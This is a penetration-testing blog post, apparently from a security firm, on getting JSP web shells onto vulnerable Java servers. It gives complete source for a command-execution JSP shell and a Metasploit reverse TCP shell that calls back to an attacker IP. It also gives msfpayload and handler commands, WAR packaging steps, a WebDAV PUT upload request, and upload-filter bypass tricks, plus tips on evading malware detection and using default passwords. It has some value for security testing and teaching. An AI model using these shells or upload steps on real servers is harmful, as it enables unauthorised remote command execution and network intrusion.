Hacking with JSP Shells
Most enterprise datacenters today house at least a few web servers that support Java Server Pages (JSP). In my experience, at least one will suffer from vulnerabilities that can be leveraged to upload JSP shells and execute arbitrary commands on the server (this especially seems to be the case with preconfigured appliances). In this blog, I’ll provide two JSP shell code examples and outline five common upload methods that can be used to get the shells onto vulnerable servers in order to execute arbitrary system commands.
JSP Shell Options
For those of you who are not as familiar – when I use the term “JSP shell” I’m referring to a “Java Server Page” that accepts arbitrary commands for execution on the hosting web server. Examples of servers that support such technology include jBoss, IBM WebSphere, BEA WebLogic, and Apache Tomcat (just to name a few). Traditional JSP shells use a HTML form to accept commands, but in more recent years JSP shells have been modified to initiate Metasploit sessions. Below, I’ve provided a code example and basic instructions for each scenario. Personally, I recommend using Metasploit JSP shells, because they have proven to be pretty stable and offer a cleaner interface. On Windows systems, the basic Metasploit shell can also be upgraded to a meterpreter shell that has tools for information gathering and escalation built-in.
Basic JSP shell
This is one of the most basic JSP shell code examples available. Basic use instructions are below.
- Save the source code below as cmd.jsp and upload to the victim server.
-
<%@ page import=”java.util.*,java.io.*”%> <% %> <HTML> <BODY> <H3>JSP SHELL</H3> <FORM METHOD=”GET” NAME=”myform” ACTION=”"> <INPUT TYPE=”text” NAME=”cmd”> <INPUT TYPE=”submit” VALUE=”Execute”> </FORM> <PRE> <% if (request.getParameter(“cmd”) != null) { out.println(“Command: ” + request.getParameter(“cmd”) + “<BR>”); Process p = Runtime.getRuntime().exec(request.getParameter(“cmd”)); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %> </PRE> </BODY> </HTML>
Metasploit JSP Shell
Using the Metasploit JSP shell in an attack requires approximately six steps.
- Generate the cmd.jsp shell with msfpayload
- Upload the cmd.jsp file to the server
- Run a Metasploit multi-handler on the local system
- Visit the cmd.jsp page in a web browser
- Obtain shell
- If Windows, upgrade to meterpreter shell
Before generating the JSP shell, make sure that Ruby and the Metasploit Framework are installed. Then follow the detailed instructions below. To generate a JSP shell on a windows system use the command below. PLEASE NOTE: In the example below, the LHOST variable should be set to your IP address.
ruby C:\framework\msf3\msfpayload java/jsp_shell_reverse_tcp LHOST=192.168.100.110 LPORT=53 R > cmd.jsp
After the command is executed, Metasploit should output source code to the file cmd.jsp that looks something like the example below. In some cases, you may need to modify variable names to get around malware detection software.
<%@page import=”java.lang.*”%> <%@page import=”java.util.*”%> <%@page import=”java.io.*”%> <%@page import=”java.net.*”%> <% class StreamConnector extends Thread { InputStream is; OutputStream os; StreamConnector( InputStream is, OutputStream os ) { this.is = is; this.os = os; } public void run() { BufferedReader in = null; BufferedWriter out = null; try { in = new BufferedReader( new InputStreamReader( this.is ) ); out = new BufferedWriter( new OutputStreamWriter( this.os ) ); char buffer[] = new char[8192]; int length; while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 ) { out.write( buffer, 0, length ); out.flush(); } } catch( Exception e ){} try { if( in != null ) in.close(); if( out != null ) out.close(); } catch( Exception e ){} } } try { Socket socket = new Socket( “192.168.100.110″, 53 ); Process process = Runtime.getRuntime().exec( “cmd.exe” ); ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start(); ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start(); } catch( Exception e ) {} %>
Next, upload the cmd.jsp file to the target server. For the sake of this discussion, let’s assume the file uploads to https://www.victim.com/cmd.jsp. Then, start the Metasploit multi handler. Open an msfconsole and type the following commands to start a multi handler in the background.
PLEASE NOTE: The LHOST and LPORT variables should be configured relative to your system; the SHELL variable should be changed to /bin/sh if the target system is Linux/ Unix based, and the local firewall should be configured to allow traffic on port 53.
use exploit/multi/handler setg LHOST 192.168.100.110 setg LPORT 53 setg PAYLOAD java/jsp_shell_reverse_tcp setg SHELL cmd.exe exploit –j -z
Finally, visit the https://www.victim.com/cmd.jsp page that was uploaded earlier and watch your msfconsole for a new session. Once the server connects back to your system, the shell should be accessible by typing the following (if you have attempted multiple sessions, the 1 may need to be incremented to the current session number).
sessions –I 1
If the target system is a Windows box the basic shell can be upgraded to a meter-preter shell with the following command:
sessions –U 1
Packaging JSP Shells as WAR Files
Sometimes it will be necessary to package the cmd.jsp as a WAR file so it can be published by an application server like jBoss. Basic instructions for creating a WAR file on a Windows system are below.
- Install the most recent Java SDK (may require reboot)
- Copy the cmd.jsp to the working directory
- Make a subdirectory called WEB-INF
- Place the content below into the file WEB-INF/web.xml
<?xml version=”1.0″ ?> <web-app xmlns=”https://java.sun.com/xml/ns/j2ee” xmlns:xsi=”https://www.w3.org/2001/XMLSchema-instance” xsi:schemaLocation=”https://java.sun.com/xml/ns/j2ee https://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd” version=”2.4″> <servlet> <servlet-name>Command</servlet-name> <jsp-file>/cmd.jsp</jsp-file> </servlet> </web-app>
- In Windows, pack the files into a WAR with the following command, but be aware that the path to the jar.exe will vary based on OS and java version:
“C:\Program Files (x86)\Java\jdk1.6.0_26\bin\jar.exe” cvf cmd.war WEB-INF cmd.jsp
Shell Upload Options
The PUT Method
The WebDAV PUT method is a classic. PUT is an extension of the HTTP protocol that allows users to upload files to the target web server. For a long time we found this issue everywhere, but in the last two years or so we’ve started to see it less and less. Any decent vulnerability scanner will turn up this issue on an affected server, but it can also be found manually using a tool like ncat. Once a server is found with PUT available, the cmd.jsp file can be uploaded. There are a number of tools that can be used to accomplish this but I prefer using the Burp Suite because, truth be told, I enjoy my GUI interfaces as much as the command line. To upload a file using the PUT method and Burp follow the instructions below:
- Open Burp
- Navigate to the repeater tab
- Enter the victim’s hostname or IP, port and check the box if the server is using SSL.
- Enter the HTTP header information into the “raw” tab. The HTTP header needs to include the host cookie, the content-length cookie, and the path. Don’t worry about knowing the specific content-length; Burp will calculate it when the request is sent. The header should look something like the following:
PUT /path/cmd.jsp HTTP/1.1 Host: Content-Length: 0
- After the HTTP header has been typed in, press enter two times and paste in the JSP shell code. If there are not enough line breaks between the header and the body the request will not work properly.
- Press the go button. If the server responds with a 201 (created) the file should be available on the server.
Application functionality: Upload Functionality
Many web applications support uploading files. If there are no file type restrictions, simply upload the file and away you go. Unfortunately for those would-be attackers, most applications do attempt to enforce some file type restrictions. However, there are a number of technology specific vulnerabilities available to get around them. Such vulnerabilities can usually be found using a vulnerability scanner or by manually looking up the version information for the application or sub-components. I’ve also seen a few applications that allow files to be renamed after they are uploaded. If this is the case, simply upload the cmd.jsp as cmd.jpg, and once it’s uploaded rename it to cmd.jsp.
Once in a while, I come across applications that have functionality built-in that is intended to allow users to create JSP files on the fly. If you find this type of application simply follow the application flow to create a JSP page and paste the cmd.jsp code when the application prompts for the source code. Usually, these applications require some type of authentication, but in some cases I’ve found them configured with default passwords. Google is, of course, a great place to find default passwords, but I also recommend the relative vendor’s user/admin guides when attacking commercial and open source applications.
Publishing WAR Files
There are a number of application servers that use WAR files to publish applications. Some of them provide a HTML form that allows users to upload a WAR file and some (like jBoss) require a link to an external source. Josh Abraham wrote a few jBoss metasploit exploits for that purpose (one of which is called “jboss_maindeployer“). Also, there is a great paper on the subject available at: https://www.nruns.com/_downloads/Whitepaper-Hacking-jBoss-using-a-Browser.pdf
File Shares
Occasionally, the web server’s web root directory is accessible anonymously via FTP, Windows, or NFS shares. If that is the case, simply use a standard client to connect to the share and upload your JSP shell. If an attacker is able to upload a JSP shell to the victim server, all commands will be executed in the context of the user running the web server. In my experience, the web server is often running as ‘root’ on *nix systems and ‘SYSTEM’ on Windows systems. That makes upload vulnerabilities great entry points into the network. A quick “whoami” command should help determine what user the server is currently running as.
Conclusions
There are a number of options available to attackers and penetration testers for getting JSP shells onto servers to execute commands. These issues can pose a real threat to the overal security posture of a network. So I encourage companies to audit for these types of vulnerabilities regularly to help prevent their servers from being used as an entry point into the network. Also keep in mind that web shells can be created for almost all server side languages inlucuding (but not limited to) asp, aspx, cfm, php and cgi. So don’t limit yourself. Hopefully the information in this blog has proved to be helpful. Good hunting. PS: Don’t be evil. References
Explore more blog posts
Part 1: Ready for Red Teaming? Intelligence-Driven Planning for Effective Scenarios
Take time for dedicated planning and evaluation ahead of red team testing to prepare your organisation for effective red team exercises.
The Strategic Value of Platformization for Proactive Security
Read about NetSPI’s latest Platform milestone, enabling continuous threat exposure management (CTEM) with consolidated proactive security solutions.
Backdooring Azure Automation Account Packages and Runtime Environments
Azure Automation Accounts can allow an attacker to persist in the associated packages that support runbooks. Learn how attackers can maintain access to an Automation Account.